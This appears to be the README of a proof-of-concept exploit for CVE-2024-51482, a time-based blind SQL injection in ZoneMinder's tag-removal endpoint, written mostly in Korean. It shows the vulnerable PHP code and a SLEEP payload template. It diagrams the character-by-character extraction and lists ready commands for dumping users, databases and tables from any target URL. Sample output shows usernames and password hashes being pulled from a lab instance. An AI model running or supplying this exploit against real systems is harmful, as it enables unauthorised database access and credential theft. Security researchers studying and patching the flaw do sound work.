SLEEP(x - IF(condition, 0, x))

case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

공격자                              ZoneMinder 웹 애플리케이션
   │                                         │
   │  [인증]                                 │
   │  POST /zm/index.php                     │
   │  {username, password}                   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← 인증된 세션
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<payload>        │
   │────────────────────────────────────────►│
   │                               SQL boolean 쿼리 실행
   │                               IF(조건, 지연 없음, SLEEP)
   │◄────────────────────────────────────────│
   │  지연된 응답 (시간 오라클)               │  ← 조건 추론
   │                                         │
   │  요청 반복                              │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  시간 차이로 문자 하나씩 추출           │
   │                                         │
   │  각 문자에 대해 이진 탐색              │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  추출된 데이터 (한 번에 1문자)          │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  전체 데이터베이스 노출                 │
   │                                         │
   ✓  블라인드 SQLi를 통한 완전한 데이터 유출

CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # 환경 변수 설정
docker compose up -d

python exploit.py -t http://target/zm -u <username> -p <password>

python exploit.py -h

python exploit.py -t http://target/zm -u <username> -p <password> check

python exploit.py -t http://target/zm -u <username> -p <password> dump-users

python exploit.py -t http://target/zm -u <username> -p <password> list-db

python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2

--no-display

--outfile results.csv

python3 exploit.py \
  -t http://localhost:8080 \
  -u admin -p admin \
  dump-table \
  --db zm \
  --table Users \
  --columns Username,Password \
  --threads 6 \
  --delay 2 \
  --outfile dump.csv

cp .env.example .env  # 환경 변수 설정
docker compose up -d

$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                   
_________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
\_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
/    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
\     \____ \     /   |        \/_____//       \\  \_/   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
 \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
        \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                   

[∗] 대상 URL: http://localhost:8080/
[∗] 모듈 : dump-table
[∗] 출력이 저장될 위치: ./out.csv

[∗] 사용자 이름/비밀번호 인증으로 로그인 시도 중
 🡲  자격 증명: admin:admin
[+] admin 사용자로 성공적으로 인증됨

[∗] 대상 취약점 테스트 중...
[+] 대상이 취약한 것으로 보입니다 (응답 시간이 성공적인 인젝션을 나타냄).

[∗] 테이블 zm.Users 내용 덤프 중...
[+] 컬럼 발견: Username, Password
[∗] 테이블의 행 수를 검색 중...
[+] 테이블에 2개의 행이 포함되어 있습니다. 덤프 시작...

[∗] 진행: 5/5 | admin
[∗] 진행: 60/60 | $2h$12$NHZs...
[+] 행 1 검색됨 : admin, $2h$12$NHZs...

[∗] 진행: 4/4 | flag
[∗] 진행: 60/60 | $2y$10$1Ei....
[+] 행 2 검색됨 : flag, $2y$10$1Ei....

+----------+----------------+
| Username | Password       |
+----------+----------------+
| admin    | $2h$12$NHZs... |
| flag     | $2y$10$1Ei.... |
+----------+----------------+

[+] 결과가 ./out.csv에 기록됨
[+] 작업 완료. 안녕!